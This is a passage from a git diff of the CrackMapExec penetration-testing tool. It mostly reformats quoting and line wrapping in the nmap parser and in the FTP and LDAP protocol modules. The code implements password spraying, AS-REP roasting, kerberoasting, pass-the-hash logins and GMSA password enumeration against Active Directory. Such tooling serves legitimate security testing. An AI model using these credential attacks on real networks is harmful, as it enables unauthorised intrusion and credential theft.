['wsman']}, - 'http': {'ports': [80, 443, 8443, 8008, 8080, 8081], 'services': ['http', 'ssl/https']} + "smb": {"ports": [445, 139], "services": ["netbios-ssn", "microsoft-ds"]}, + "mssql": {"ports": [1433], "services": ["ms-sql-s"]}, + "ssh": {"ports": [22], "services": ["ssh"]}, + "winrm": {"ports": [5986, 5985], "services": ["wsman"]}, + "http": { + "ports": [80, 443, 8443, 8008, 8080, 8081], + "services": ["http", "ssl/https"], + }, } def parse_nmap_xml(nmap_output_file, protocol): targets = [] - with open(nmap_output_file, 'r') as file_handle: + with open(nmap_output_file, "r") as file_handle: scan_output = xmltodict.parse(file_handle.read()) - for host in scan_output['nmaprun']['host']: - if host['address'][0]['@addrtype'] != 'ipv4': + for host in scan_output["nmaprun"]["host"]: + if host["address"][0]["@addrtype"] != "ipv4": continue - ip = host['address'][0]['@addr'] - for port in host['ports']['port']: - if port['state']['@state'] == 'open': - if 'service' in port and (port['service']['@name'] in protocol_dict[protocol]['services']): + ip = host["address"][0]["@addr"] + for port in host["ports"]["port"]: + if port["state"]["@state"] == "open": + if "service" in port and ( + port["service"]["@name"] in protocol_dict[protocol]["services"] + ): if ip not in targets: targets.append(ip) - elif port['@portid'] in protocol_dict[protocol]['ports']: + elif port["@portid"] in protocol_dict[protocol]["ports"]: if ip not in targets: targets.append(ip) diff --git a/cme/paths.py b/cme/paths.py index 2f910b17..23d17dd0 100644 --- a/cme/paths.py +++ b/cme/paths.py @@ -2,14 +2,16 @@ import os import sys import cme -CME_PATH = os.path.expanduser('~/.cme') -TMP_PATH = os.path.join('/tmp', 'cme_hosted') -if os.name == 'nt': - TMP_PATH = os.getenv('LOCALAPPDATA') + '\\Temp\\cme_hosted' -if hasattr(sys, 'getandroidapilevel'): - TMP_PATH = os.path.join('/data', 'data', 'com.termux', 'files', 'usr', 'tmp', 'cme_hosted') -WS_PATH = os.path.join(CME_PATH, 'workspaces') -CERT_PATH = os.path.join(CME_PATH, 'cme.pem') -CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf') -WORKSPACE_DIR = os.path.join(CME_PATH, 'workspaces') -DATA_PATH = os.path.join(os.path.dirname(cme.__file__), 'data') +CME_PATH = os.path.expanduser("~/.cme") +TMP_PATH = os.path.join("/tmp", "cme_hosted") +if os.name == "nt": + TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\cme_hosted" +if hasattr(sys, "getandroidapilevel"): + TMP_PATH = os.path.join( + "/data", "data", "com.termux", "files", "usr", "tmp", "cme_hosted" + ) +WS_PATH = os.path.join(CME_PATH, "workspaces") +CERT_PATH = os.path.join(CME_PATH, "cme.pem") +CONFIG_PATH = os.path.join(CME_PATH, "cme.conf") +WORKSPACE_DIR = os.path.join(CME_PATH, "workspaces") +DATA_PATH = os.path.join(os.path.dirname(cme.__file__), "data") diff --git a/cme/protocols/ftp.py b/cme/protocols/ftp.py index 363282ef..9cfd8bc2 100644 --- a/cme/protocols/ftp.py +++ b/cme/protocols/ftp.py @@ -7,13 +7,24 @@ from ftplib import FTP, error_reply, error_temp, error_perm, error_proto class ftp(connection): - @staticmethod def proto_args(parser, std_parser, module_parser): - ftp_parser = parser.add_parser('ftp', help="own stuff using FTP", parents=[std_parser, module_parser]) - ftp_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') - ftp_parser.add_argument("--port", type=int, default=21, help="FTP port (default: 21)") - ftp_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") + ftp_parser = parser.add_parser( + "ftp", help="own stuff using FTP", parents=[std_parser, module_parser] + ) + ftp_parser.add_argument( + "--no-bruteforce", + action="store_true", + help="No spray when using file for username and password (user1 => password1, user2 => password2", + ) + ftp_parser.add_argument( + "--port", type=int, default=21, help="FTP port (default: 21)" + ) + ftp_parser.add_argument( + "--continue-on-success", + action="store_true", + help="continues authentication attempts even after successes", + ) # TODO: Create more options for the protocol # cgroup = ftp_parser.add_argument_group("FTP Access", "Options for enumerating your access") @@ -26,7 +37,7 @@ class ftp(connection): "protocol": "FTP", "host": self.host, "port": self.args.port, - "hostname": self.hostname + "hostname": self.hostname, } ) @@ -68,17 +79,13 @@ class ftp(connection): try: self.conn.login(user=username, passwd=password) - self.logger.success( - f"{username}:{process_secret(password)}" - ) + self.logger.success(f"{username}:{process_secret(password)}") if not self.args.continue_on_success: self.conn.close() return True self.conn.close() except Exception as e: - self.logger.fail( - f'{username}:{process_secret(password)} (Response:{e})' - ) + self.logger.fail(f"{username}:{process_secret(password)} (Response:{e})") self.conn.close() return False diff --git a/cme/protocols/ftp/database.py b/cme/protocols/ftp/database.py index 773604de..cacb6666 100644 --- a/cme/protocols/ftp/database.py +++ b/cme/protocols/ftp/database.py @@ -3,9 +3,14 @@ from sqlalchemy.orm import sessionmaker, scoped_session from sqlalchemy import MetaData, Table -from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError +from sqlalchemy.exc import ( + IllegalStateChangeError, + NoInspectionAvailable, + NoSuchTableError, +) from cme.logger import cme_logger + class database: def __init__(self, db_engine): self.CredentialsTable = None @@ -14,10 +19,7 @@ class database: self.db_engine = db_engine self.metadata = MetaData() self.reflect_tables() - session_factory = sessionmaker( - bind=self.db_engine, - expire_on_commit=True - ) + session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) Session = scoped_session(session_factory) # this is still named "conn" when it is the session object; TODO: rename @@ -25,24 +27,32 @@ class database: @staticmethod def db_schema(db_conn): - db_conn.execute('''CREATE TABLE "credentials" ( + db_conn.execute( + """CREATE TABLE "credentials" ( "id" integer PRIMARY KEY, "username" text, "password" text - )''') + )""" + ) - db_conn.execute('''CREATE TABLE "hosts" ( + db_conn.execute( + """CREATE TABLE "hosts" ( "id" integer PRIMARY KEY, "ip" text, "port" integer, "server_banner" text - )''') + )""" + ) def reflect_tables(self): with self.db_engine.connect() as conn: try: - self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) - self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) + self.CredentialsTable = Table( + "credentials", self.metadata, autoload_with=self.db_engine + ) + self.HostsTable = Table( + "hosts", self.metadata, autoload_with=self.db_engine + ) except (NoInspectionAvailable, NoSuchTableError): print( "[-] Error reflecting tables - this means there is a DB schema mismatch \n" @@ -64,4 +74,3 @@ class database: def clear_database(self): for table in self.metadata.sorted_tables: self.conn.execute(table.delete()) - diff --git a/cme/protocols/ftp/db_navigator.py b/cme/protocols/ftp/db_navigator.py index afeb6af1..b1afbf92 100644 --- a/cme/protocols/ftp/db_navigator.py +++ b/cme/protocols/ftp/db_navigator.py @@ -6,7 +6,12 @@ from cme.cmedb import DatabaseNavigator, print_help class navigator(DatabaseNavigator): def do_clear_database(self, line): - if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": + if ( + input( + "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " + ) + == "y" + ): self.db.clear_database() def help_clear_database(self): @@ -15,4 +20,4 @@ class navigator(DatabaseNavigator): THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE YOU CANNOT UNDO THIS COMMAND """ - print_help(help_string) \ No newline at end of file + print_help(help_string) diff --git a/cme/protocols/ldap.py b/cme/protocols/ldap.py index 6b80e8a0..18b2ab15 100644 --- a/cme/protocols/ldap.py +++ b/cme/protocols/ldap.py @@ -17,8 +17,12 @@ from bloodhound.ad.authentication import ADAuthentication from bloodhound.ad.domain import AD from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE -from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, UF_TRUSTED_FOR_DELEGATION, \ - UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION +from impacket.dcerpc.v5.samr import ( + UF_ACCOUNTDISABLE, + UF_DONT_REQUIRE_PREAUTH, + UF_TRUSTED_FOR_DELEGATION, + UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION, +) from impacket.dcerpc.v5.transport import DCERPCTransportFactory from impacket.krb5 import constants from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError @@ -48,7 +52,7 @@ ldap_error_status = { "775": "USER_ACCOUNT_LOCKED", "50": "LDAP_INSUFFICIENT_ACCESS", "KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED", - "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED" + "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED", } @@ -56,27 +60,52 @@ def resolve_collection_methods(methods): """ Convert methods (string) to list of validated methods to resolve """ - valid_methods = ['group', 'localadmin', 'session', 'trusts', 'default', 'all', 'loggedon', - 'objectprops', 'experimental', 'acl', 'dcom', 'rdp', 'psremote', 'dconly', - 'container'] - default_methods = ['group', 'localadmin', 'session', 'trusts'] + valid_methods = [ + "group", + "localadmin", + "session", + "trusts", + "default", + "all", + "loggedon", + "objectprops", + "experimental", + "acl", + "dcom", + "rdp", + "psremote", + "dconly", + "container", + ] + default_methods = ["group", "localadmin", "session", "trusts"] # Similar to SharpHound, All is not really all, it excludes loggedon - all_methods = ['group', 'localadmin', 'session', 'trusts', 'objectprops', 'acl', 'dcom', 'rdp', 'psremote', 'container'] + all_methods = [ + "group", + "localadmin", + "session", + "trusts", + "objectprops", + "acl", + "dcom", + "rdp", + "psremote", + "container", + ] # DC only, does not collect to computers - dconly_methods = ['group', 'trusts', 'objectprops', 'acl', 'container'] - if ',' in methods: - method_list = [method.lower() for method in methods.split(',')] + dconly_methods = ["group", "trusts", "objectprops", "acl", "container"] + if "," in methods: + method_list = [method.lower() for method in methods.split(",")] validated_methods = [] for method in method_list: if method not in valid_methods: - cme_logger.error('Invalid collection method specified: %s', method) + cme_logger.error("Invalid collection method specified: %s", method) return False - if method == 'default': + if method == "default": validated_methods += default_methods - elif method == 'all': + elif method == "all": validated_methods += all_methods - elif method == 'dconly': + elif method == "dconly": validated_methods += dconly_methods else: validated_methods.append(method) @@ -86,31 +115,33 @@ def resolve_collection_methods(methods): # It is only one method = methods.lower() if method in valid_methods: - if method == 'default': + if method == "default": validated_methods += default_methods - elif method == 'all': + elif method == "all": validated_methods += all_methods - elif method == 'dconly': + elif method == "dconly": validated_methods += dconly_methods else: validated_methods.append(method) return set(validated_methods) else: - cme_logger.error('Invalid collection method specified: %s', method) + cme_logger.error("Invalid collection method specified: %s", method) return False def get_conditional_action(baseAction): class ConditionalAction(baseAction): def __init__(self, option_strings, dest, **kwargs): - x = kwargs.pop('make_required', []) + x = kwargs.pop("make_required", []) super(ConditionalAction, self).__init__(option_strings, dest, **kwargs) self.make_required = x def __call__(self, parser, namespace, values, option_string=None): for x in self.make_required: x.required = True - super(ConditionalAction, self).__call__(parser, namespace, values, option_string) + super(ConditionalAction, self).__call__( + parser, namespace, values, option_string + ) return ConditionalAction @@ -122,11 +153,11 @@ class ldap(connection): self.os_arch = 0 self.hash = None self.ldapConnection = None - self.lmhash = '' - self.nthash = '' - self.baseDN = '' - self.target = '' - self.targetDomain = '' + self.lmhash = "" + self.nthash = "" + self.baseDN = "" + self.target = "" + self.targetDomain = "" self.remote_ops = None self.bootkey = None self.output_filename = None @@ -140,39 +171,121 @@ class ldap(connection): @staticmethod def proto_args(parser, std_parser, module_parser): - ldap_parser = parser.add_parser('ldap', help="own stuff using LDAP", parents=[std_parser, module_parser]) - ldap_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') - ldap_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') - ldap_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") - ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)") - no_smb_arg = ldap_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help='No smb connection') + ldap_parser = parser.add_parser( + "ldap", help="own stuff using LDAP", parents=[std_parser, module_parser] + ) + ldap_parser.add_argument( + "-H", + "--hash", + metavar="HASH", + dest="hash", + nargs="+", + default=[], + help="NTLM hash(es) or file(s) containing NTLM hashes", + ) + ldap_parser.add_argument( + "--no-bruteforce", + action="store_true", + help="No spray when using file for username and password (user1 => password1, user2 => password2", + ) + ldap_parser.add_argument( + "--continue-on-success", + action="store_true", + help="continues authentication attempts even after successes", + ) + ldap_parser.add_argument( + "--port", + type=int, + choices={389, 636}, + default=389, + help="LDAP port (default: 389)", + ) + no_smb_arg = ldap_parser.add_argument( + "--no-smb", + action=get_conditional_action(_StoreTrueAction), + make_required=[], + help="No smb connection", + ) dgroup = ldap_parser.add_mutually_exclusive_group() - domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") - dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') + domain_arg = dgroup.add_argument( + "-d", + metavar="DOMAIN", + dest="domain", + type=str, + default=None, + help="domain to authenticate to", + ) + dgroup.add_argument( + "--local-auth", + action="store_true", + help="authenticate locally to each target", + ) no_smb_arg.make_required = [domain_arg] - egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos") - egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat") - egroup.add_argument("--kerberoasting", help='Get TGS ticket ready to crack with hashcat') + egroup = ldap_parser.add_argument_group( + "Retrevie hash on the remote DC", "Options to get hashes from Kerberos" + ) + egroup.add_argument( + "--asreproast", help="Get AS_REP response ready to crack with hashcat" + ) + egroup.add_argument( + "--kerberoasting", help="Get TGS ticket ready to crack with hashcat" + ) - vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos") - vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION") - vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD") - vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1") - vgroup.add_argument("--users", action="store_true", help="Enumerate enabled domain users") - vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups") + vgroup = ldap_parser.add_argument_group( + "Retrieve useful information on the domain", + "Options to to play with Kerberos", + ) + vgroup.add_argument( + "--trusted-for-delegation", + action="store_true", + help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION", + ) + vgroup.add_argument( + "--password-not-required", + action="store_true", + help="Get the list of users with flag PASSWD_NOTREQD", + ) + vgroup.add_argument( + "--admin-count", + action="store_true", + help="Get objets that had the value adminCount=1", + ) + vgroup.add_argument( + "--users", action="store_true", help="Enumerate enabled domain users" + ) + vgroup.add_argument( + "--groups", action="store_true", help="Enumerate domain groups" + ) vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid") - ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa") - ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords") - ggroup.add_argument("--gmsa-convert-id", help="Get the secret name of specific gmsa or all gmsa if no gmsa provided") - ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA") + ggroup = ldap_parser.add_argument_group( + "Retrevie gmsa on the remote DC", "Options to play with gmsa" + ) + ggroup.add_argument( + "--gmsa", action="store_true", help="Enumerate GMSA passwords" + ) + ggroup.add_argument( + "--gmsa-convert-id", + help="Get the secret name of specific gmsa or all gmsa if no gmsa provided", + ) + ggroup.add_argument( + "--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA" + ) - bgroup = ldap_parser.add_argument_group("Bloodhound scan", "Options to play with bloodhoud") - bgroup.add_argument("--bloodhound", action="store_true", help="Perform bloodhound scan") - bgroup.add_argument("-ns", '--nameserver', help="Custom DNS IP") - bgroup.add_argument("-c", "--collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default)'") + bgroup = ldap_parser.add_argument_group( + "Bloodhound scan", "Options to play with bloodhoud" + ) + bgroup.add_argument( + "--bloodhound", action="store_true", help="Perform bloodhound scan" + ) + bgroup.add_argument("-ns", "--nameserver", help="Custom DNS IP") + bgroup.add_argument( + "-c", + "--collection", + help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default)'", + ) return parser @@ -180,10 +293,10 @@ class ldap(connection): # self.logger = cme_logger self.logger = CMEAdapter( extra={ - 'protocol': "LDAP", - 'host': self.host, - 'port': self.args.port, - 'hostname': self.hostname + "protocol": "LDAP", + "host": self.host, + "port": self.args.port, + "hostname": self.hostname, } ) @@ -200,7 +313,9 @@ class ldap(connection): if proto == "ldaps": self.logger.debug(f"LDAPs connection to {ldap_url} failed - {e}") # https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority - self.logger.debug(f"Even if the port is open, LDAPS may not be configured") + self.logger.debug( + f"Even if the port is open, LDAPS may not be configured" + ) else: self.logger.debug(f"LDAP connection to {ldap_url} failed: {e}") return [None, None, None] @@ -208,7 +323,7 @@ class ldap(connection): resp = ldap_connection.search( scope=ldapasn1_impacket.Scope("baseObject"), attributes=["defaultNamingContext", "dnsHostName"], - sizeLimit=0 + sizeLimit=0, ) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: @@ -218,9 +333,14 @@ class ldap(connection): base_dn = None try: for attribute in item["attributes"]: - if str(attribute['type']) == "defaultNamingContext": + if str(attribute["type"]) == "defaultNamingContext": base_dn = str(attribute["vals"][0]) - target_domain = sub(",DC=", ".", base_dn[base_dn.lower().find("dc="):], flags=I)[3:] + target_domain = sub( + ",DC=", + ".", + base_dn[base_dn.lower().find("dc=") :], + flags=I, + )[3:] if str(attribute["type"]) == "dnsHostName": target = str(attribute["vals"][0]) except Exception as e: @@ -228,12 +348,14 @@ class ldap(connection): self.logger.info(f"Skipping item, cannot process due to error {e}") except OSError as e: return [None, None, None] - self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") + self.logger.debug( + f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}" + ) return [target, target_domain, base_dn] def get_os_arch(self): try: - string_binding = fr"ncacn_ip_tcp:{self.host}[135]" + string_binding = rf"ncacn_ip_tcp:{self.host}[135]" transport = DCERPCTransportFactory(string_binding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() @@ -241,7 +363,10 @@ class ldap(connection): dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() try: - dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0")) + dce.bind( + MSRPC_UUID_PORTMAP, + transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0"), + ) except DCERPCException as e: if str(e).find("syntaxes_not_supported") >= 0: dce.disconnect() @@ -264,7 +389,9 @@ class ldap(connection): if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"): response_value = search_result["responseValue"] if response_value.hasValue(): - value = response_value.asOctets().decode(response_value.encoding)[2:] + value = response_value.asOctets().decode(response_value.encoding)[ + 2: + ] return value.split("\\")[1] return "" @@ -290,8 +417,11 @@ class ldap(connection): self.domain = self.conn.getServerDNSDomainName() self.hostname = self.conn.getServerName() self.server_os = self.conn.getServerOS() - self.signing = self.conn.isSigningRequired() if self.smbv1 \ + self.signing = ( + self.conn.isSigningRequired() + if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] + ) self.os_arch = self.get_os_arch() if not self.domain: @@ -327,12 +457,21 @@ class ldap(connection): self.logger.extra["port"] = "445" if not self.no_ntlm else "389" self.logger.display( f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) (signing:{self.signing}) (SMBv1:{self.smbv1})" - ) + ) self.logger.extra["protocol"] = "LDAP" # self.logger.display(self.endpoint) return True - def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False): + def kerberos_login( + self, + domain, + username, + password="", + ntlm_hash="", + aesKey="", + kdcHost="", + useCache=False, + ): # cme_logger.getLogger("impacket").disabled = True self.username = username self.password = password @@ -363,7 +502,7 @@ class ldap(connection): hash_asreproast.write(hash_tgt + "\n") return False - if not all('' == s for s in [self.nthash, password, aesKey]): + if not all("" == s for s in [self.nthash, password, aesKey]): kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) else: kerb_pass = "" @@ -382,21 +521,25 @@ class ldap(connection): self.nthash, aesKey, kdcHost=kdcHost, - useCache=useCache + useCache=useCache, ) - if self.username == '': + if self.username == "": self.username = self.get_ldap_username() self.check_if_admin() - used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" + used_ccache = ( + " from ccache" if useCache else f":{process_secret(kerb_pass)}" + ) out = f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}" # out = f"{domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}" self.logger.extra["protocol"] = "LDAP" - self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389" + self.logger.extra["port"] = ( + "636" if (self.args.gmsa or self.args.port == 636) else "389" + ) self.logger.success(out) if not self.args.local_auth: @@ -407,21 +550,23 @@ class ldap(connection): # for PRE-AUTH account self.logger.success( f"{domain}\\{self.username}{' account vulnerable to asreproast attack'} {''}", - color='yellow' + color="yellow", ) return False except SessionError as e: error, desc = e.getErrorString() - used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" + used_ccache = ( + " from ccache" if useCache else f":{process_secret(kerb_pass)}" + ) self.logger.fail( f"{self.domain}\\{self.username}{used_ccache} {str(error)}", - color='magenta' if error in ldap_error_status else 'red' + color="magenta" if error in ldap_error_status else "red", ) return False except (KeyError, KerberosException, OSError) as e: self.logger.fail( f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {str(e)}", - color='red' + color="red", ) return False except ldap_impacket.LDAPSessionError as e: @@ -431,7 +576,9 @@ class ldap(connection): # Connect to LDAPS ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [2]") - self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN) + self.ldapConnection = ldap_impacket.LDAPConnection( + ldaps_url, self.baseDN + ) self.ldapConnection.kerberosLogin( username, password, @@ -440,10 +587,10 @@ class ldap(connection): self.nthash, aesKey, kdcHost=kdcHost, - useCache=useCache + useCache=useCache, ) - if self.username == '': + if self.username == "": self.username = self.get_ldap_username() self.check_if_admin() @@ -456,28 +603,30 @@ class ldap(connection): self.logger.success(out) if not self.args.local_auth: - add_user_bh(self.username, self.domain, self.logger, self.config) + add_user_bh( + self.username, self.domain, self.logger, self.config + ) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", - color='magenta' if error_code in ldap_error_status else 'red' + color="magenta" if error_code in ldap_error_status else "red", ) return False except SessionError as e: error, desc = e.getErrorString() self.logger.fail( f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {str(error)}", - color='magenta' if error in ldap_error_status else 'red' + color="magenta" if error in ldap_error_status else "red", ) return False else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", - color='magenta' if error_code in ldap_error_status else 'red' + color="magenta" if error_code in ldap_error_status else "red", ) return False @@ -491,7 +640,7 @@ class ldap(connection): if hash_tgt: self.logger.highlight(f"{hash_tgt}") with open(self.args.asreproast, "a+") as hash_asreproast: - hash_asreproast.write(hash_tgt + '\n') + hash_asreproast.write(hash_tgt + "\n") return False try: @@ -500,14 +649,18 @@ class ldap(connection): ldap_url = f"{proto}://{self.target}" self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]") self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldapConnection.login( + self.username, self.password, self.domain, self.lmhash, self.nthash + ) self.check_if_admin() # Prepare success credential text out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}" self.logger.extra["protocol"] = "LDAP" - self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389" + self.logger.extra["port"] = ( + "636" if (self.args.gmsa or self.args.port == 636) else "389" + ) self.logger.success(out) if not self.args.local_auth: @@ -521,8 +674,16 @@ class ldap(connection): # Connect to LDAPS ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]") - self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldapConnection = ldap_impacket.LDAPConnection( + ldaps_url, self.baseDN + ) + self.ldapConnection.login( + self.username, + self.password, + self.domain, + self.lmhash, + self.nthash, + ) self.check_if_admin() # Prepare success credential text @@ -532,20 +693,26 @@ class ldap(connection): self.logger.success(out) if not self.args.local_auth: - add_user_bh(self.username, self.domain, self.logger, self.config) + add_user_bh( + self.username, self.domain, self.logger, self.config + ) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", - color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red' + color="magenta" + if (error_code in ldap_error_status and error_code != 1) + else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", - color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red' + color="magenta" + if (error_code in ldap_error_status and error_code != 1) + else "red", ) return False except OSError as e: @@ -589,13 +756,17 @@ class ldap(connection): ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}") self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldapConnection.login( + self.username, self.password, self.domain, self.lmhash, self.nthash + ) self.check_if_admin() # Prepare success credential text out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}" self.logger.extra["protocol"] = "LDAP" - self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389" + self.logger.extra["port"] = ( + "636" if (self.args.gmsa or self.args.port == 636) else "389" + ) self.logger.success(out) if not self.args.local_auth: @@ -608,8 +779,16 @@ class ldap(connection): # We need to try SSL ldaps_url = f"{proto}://{self.target}" self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}") - self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldapConnection = ldap_impacket.LDAPConnection( + ldaps_url, self.baseDN + ) + self.ldapConnection.login( + self.username, + self.password, + self.domain, + self.lmhash, + self.nthash, + ) self.check_if_admin() # Prepare success credential text @@ -619,20 +798,26 @@ class ldap(connection): self.logger.success(out) if not self.args.local_auth: - add_user_bh(self.username, self.domain, self.logger, self.config) + add_user_bh( + self.username, self.domain, self.logger, self.config + ) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", - color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red' + color="magenta" + if (error_code in ldap_error_status and error_code != 1) + else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", - color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red' + color="magenta" + if (error_code in ldap_error_status and error_code != 1) + else "red", ) return False except OSError as e: @@ -644,7 +829,9 @@ class ldap(connection): def create_smbv1_conn(self): self.logger.debug(f"Creating smbv1 connection object") try: - self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT) + self.conn = SMBConnection( + self.host, self.host, None, 445, 